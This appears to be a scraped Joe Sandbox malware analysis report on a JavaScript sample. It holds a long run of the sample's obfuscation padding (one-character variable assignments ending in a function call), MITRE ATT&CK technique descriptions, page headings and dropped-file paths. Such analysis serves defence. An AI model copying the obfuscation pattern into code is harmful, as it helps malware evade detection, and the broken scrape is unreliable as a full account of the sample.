1095	rljpcrf = "c";
1096	rljpcrf = "K";
1097	rljpcrf = "d";
1098	rljpcrf = "Y";
1099	rljpcrf = "q";
1100	rljpcrf = "q";
1101	rljpcrf = "J";
1102	rljpcrf = "I";
1103	rljpcrf = "A";
1104	rljpcrf = "Q";
1105	rljpcrf = "f";
1106	rljpcrf = "U";
1107	rljpcrf = "N";
1108	rljpcrf = "i";
1109	ifowjmf = "C";
1110	ifowjmf = "p";
1111	ifowjmf = "I";
1112	ifowjmf = "z";
1113	ifowjmf = "f";
1114	ifowjmf = "n";
1115	ifowjmf = "l";
1116	ifowjmf = "R";
1117	ifowjmf = "K";
1118	ifowjmf = "n";
1119	ifowjmf = "Z";
1120	ifowjmf = "Z";
1121	ifowjmf = "0";
1122	ztiyaigd = "w";
1123	ztiyaigd = "F";
1124	ztiyaigd = "q";
1125	ztiyaigd = "k";
1126	ztiyaigd = "u";
1127	ztiyaigd = "J";
1128	ztiyaigd = "v";
1129	ztiyaigd = "G";
1130	ztiyaigd = "h";
1131	ztiyaigd = "C";
1132	ztiyaigd = "Z";
1133	ztiyaigd = "g";
1134	ztiyaigd = "A";
1135	ztiyaigd = "S";
1136	ztiyaigd = "W";
1137	ztiyaigd = "X";
1138	ztiyaigd = "n";
1139	ztiyaigd = "X";
1140	ztiyaigd = "V";
1141	ztiyaigd = "f";
1142	ztiyaigd = "h";
1143	ztiyaigd = "F";
1144	ztiyaigd = "c";
1145	ztiyaigd = "I";
1146	ztiyaigd = "a";
1147	ztiyaigd = "w";
1148	ztiyaigd = "g";
1149	ztiyaigd = "n";
1150	ztiyaigd = "N";
1151	vjjpmyohy = "m";
1152	vjjpmyohy = "K";
1153	vjjpmyohy = "H";
1154	vjjpmyohy = "P";
1155	vjjpmyohy = "F";
1156	vjjpmyohy = "i";
1157	vjjpmyohy = "b";
1158	vjjpmyohy = "q";
1159	vjjpmyohy = "p";
1160	vjjpmyohy = "e";
1161	vjjpmyohy = "K";
1162	vjjpmyohy = "k";
1163	vjjpmyohy = "D";
1164	vjjpmyohy = "j";
1165	vjjpmyohy = "g";
1166	vjjpmyohy = "o";
1167	vjjpmyohy = "U";
1168	gioiiy = "s";
1169	gioiiy = "x";
1170	gioiiy = "p";
1171	gioiiy = "q";
1172	gioiiy = "U";
1173	gioiiy = "r";
1174	gioiiy = "f";
1175	gioiiy = "Q";
1176	gioiiy = "R";
1177	gioiiy = "f";
1178	gioiiy = "C";
1179	gioiiy = "a";
1180	gioiiy = "I";
1181	gioiiy = "q";
1182	gioiiy = "v";
1183	gioiiy = "Y";
1184	gioiiy = "y";
1185	gioiiy = "H";
1186	gioiiy = "j";
1187	gioiiy = "F";
1188	gioiiy = "8";
1189	xmhummowc = "f";
1190	xmhummowc = "Q";
1191	xmhummowc = "R";
1192	xmhummowc = "Q";
1193	xmhummowc = "D";
1194	xmhummowc = "M";
1195	xmhummowc = "v";
1196	xmhummowc = "N";
1197	xmhummowc = "c";
1198	xmhummowc = "Z";
1199	xmhummowc = "v";
1200	xmhummowc = "S";
1201	xmhummowc = "J";
1202	xmhummowc = "o";
1203	xmhummowc = "c";
1204	xmhummowc = "L";
1205	xmhummowc = "b";
1206	xmhummowc = "w";
1207	xmhummowc = "g";
1208	xmhummowc = "m";
1209	xmhummowc = "s";
1210	zaznlsy = "e";
1211	zaznlsy = "K";
1212	zaznlsy = "D";
1213	zaznlsy = "f";
1214	zaznlsy = "A";
1215	zaznlsy = "Y";
1216	zaznlsy = "o";
1217	zaznlsy = "l";
1218	zaznlsy = "c";
1219	zaznlsy = "m";
1220	zaznlsy = "W";
1221	zaznlsy = "v";
1222	zaznlsy = "L";
1223	jaxzeexlq = "t";
1224	jaxzeexlq = "X";
1225	jaxzeexlq = "p";
1226	jaxzeexlq = "k";
1227	jaxzeexlq = "&";
1228	alkmswz = "R";
1229	alkmswz = "H";
1230	alkmswz = "5";
1231	wlawcea = "v";
1232	wlawcea = "L";
1233	wlawcea = "Q";
1234	wlawcea = "Y";
1235	wlawcea = "j";
1236	wlawcea = "N";
1237	wlawcea = "s";
1238	wlawcea = "o";
1239	wlawcea = "W";
1240	wlawcea = "X";
1241	wlawcea = "J";
1242	wlawcea = "k";
1243	wlawcea = "L";
1244	wlawcea = "f";
1245	wlawcea = "m";
1246	wlawcea = "T";
1247	wlawcea = "Y";
1248	wlawcea = "f";
1249	wlawcea = "z";
1250	wlawcea = "O";
1251	wlawcea = "i";
1252	wlawcea = "Q";
1253	wlawcea = "T";
1254	wlawcea = "F";
1255	wlawcea = "Q";
1256	wlawcea = "h";
1257	wlawcea = "z";
1258	wlawcea = "e";
1259	wlawcea = "n";
1260	fnrtfwa = "x";
1261	fnrtfwa = "y";
1262	fnrtfwa = "x";
1263	fnrtfwa = "P";
1264	fnrtfwa = "K";
1265	fnrtfwa = "F";
1266	fnrtfwa = "i";
1267	fnrtfwa = "S";
1268	fnrtfwa = "J";
1269	fnrtfwa = "s";
1270	fnrtfwa = "x";
1271	fnrtfwa = "k";
1272	fnrtfwa = "b";
1273	fnrtfwa = "W";
1274	fnrtfwa = "a";
1275	fnrtfwa = "m";
1276	fnrtfwa = "U";
1277	fnrtfwa = "G";
1278	fnrtfwa = "f";
1279	fnrtfwa = "X";
1280	fnrtfwa = "f";
1281	fnrtfwa = "S";
1282	fnrtfwa = "T";
1283	fnrtfwa = "t";
1284	fnrtfwa = "k";
1285	fnrtfwa = "d";
1286	fnrtfwa = "O";
1287	fnrtfwa = "H";
1288	fnrtfwa = "A";
1289	fnrtfwa = "G";
1290	fnrtfwa = "N";
1291	fnrtfwa = "H";
1292	fnrtfwa = "X";
1293	fnrtfwa = "r";
1294	fnrtfwa = "q";
1295	fnrtfwa = "T";
1296	fnrtfwa = "y";
1297	fnrtfwa = "p";
1298	fnrtfwa = "X";
1299	fnrtfwa = "U";
1300	fnrtfwa = "D";
1301	fnrtfwa = "A";
1302	fnrtfwa = "y";
1303	fnrtfwa = "u";
1304	fnrtfwa = ".";
1305	xfmxk = "M";
1306	xfmxk = "W";
1307	xfmxk = "T";
1308	xfmxk = "C";
1309	xfmxk = "n";
1310	xfmxk = "d";
1311	xfmxk = "W";
1312	xfmxk = "d";
1313	xfmxk = "u";
1314	xfmxk = "d";
1315	xfmxk = "v";
1316	xfmxk = "j";
1317	xfmxk = "I";
1318	xfmxk = "C";
1319	xfmxk = "R";
1320	xfmxk = "L";
1321	xfmxk = "V";
1322	xfmxk = "B";
1323	xfmxk = "h";
1324	xfmxk = "L";
1325	xfmxk = "H";
1326	xfmxk = "Z";
1327	xfmxk = "O";
1328	xfmxk = "c";
1329	xfmxk = "S";
1330	xfmxk = "J";
1331	xfmxk = "u";
1332	xfmxk = "Z";
1333	xfmxk = "z";
1334	xfmxk = "P";
1335	xfmxk = "A";
1336	xfmxk = "L";
1337	xfmxk = "S";
1338	xfmxk = "l";
1339	xfmxk = "y";
1340	xfmxk = "V";
1341	xfmxk = "K";
1342	xfmxk = "S";
1343	xfmxk = "R";
1344	xfmxk = "W";
1345	xfmxk = "j";
1346	xfmxk = "6";
1347	vegyoqhdg = "X";
1348	vegyoqhdg = "N";
1349	vegyoqhdg = "l";
1350	vegyoqhdg = "M";
1351	vegyoqhdg = "H";
1352	vegyoqhdg = "V";
1353	vegyoqhdg = "T";
1354	vegyoqhdg = "n";
1355	vegyoqhdg = "k";
1356	vegyoqhdg = "j";
1357	vegyoqhdg = "V";
1358	vegyoqhdg = "o";
1359	vegyoqhdg = "V";
1360	vegyoqhdg = "p";
1361	vegyoqhdg = "T";
1362	vegyoqhdg = "K";
1363	vegyoqhdg = "P";
1364	vegyoqhdg = "l";
1365	vegyoqhdg = "l";
1366	vegyoqhdg = "a";
1367	vegyoqhdg = "T";
1368	vegyoqhdg = "e";
1369	vegyoqhdg = "c";
1370	vegyoqhdg = "Y";
1371	vegyoqhdg = "F";
1372	vegyoqhdg = "c";
1373	vegyoqhdg = "w";
1374	vegyoqhdg = "b";
1375	vegyoqhdg = "M";
1376	vegyoqhdg = "t";
1377	vegyoqhdg = "h";
1378	vegyoqhdg = "W";
1379	vegyoqhdg = "M";
1380	vegyoqhdg = "b";
1381	vegyoqhdg = "J";
1382	vegyoqhdg = "R";
1383	vegyoqhdg = "E";
1384	vegyoqhdg = "q";
1385	vegyoqhdg = "p";
1386	rodtxzwb = "d";
1387	rodtxzwb = "a";
1388	rodtxzwb = "j";
1389	rodtxzwb = "w";
1390	rodtxzwb = "g";
1391	rodtxzwb = "T";
1392	rodtxzwb = "h";
1393	rodtxzwb = "Z";
1394	rodtxzwb = "A";
1395	rodtxzwb = "X";
1396	rodtxzwb = "X";
1397	rodtxzwb = "u";
1398	rodtxzwb = "B";
1399	rodtxzwb = "p";
1400	rodtxzwb = "X";
1401	rodtxzwb = "w";
1402	vbnii = "R";
1403	vbnii = "x";
1404	vbnii = "o";
1405	prlztbk ( );	prlztbk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 160370701202011504.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c0d97a5-6cdd-48e3-961b-1072a10a4505.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\565fa0e9-d06c-4ab0-bdd8-5346c76a22cf.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4059a2.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
160370701202011504.js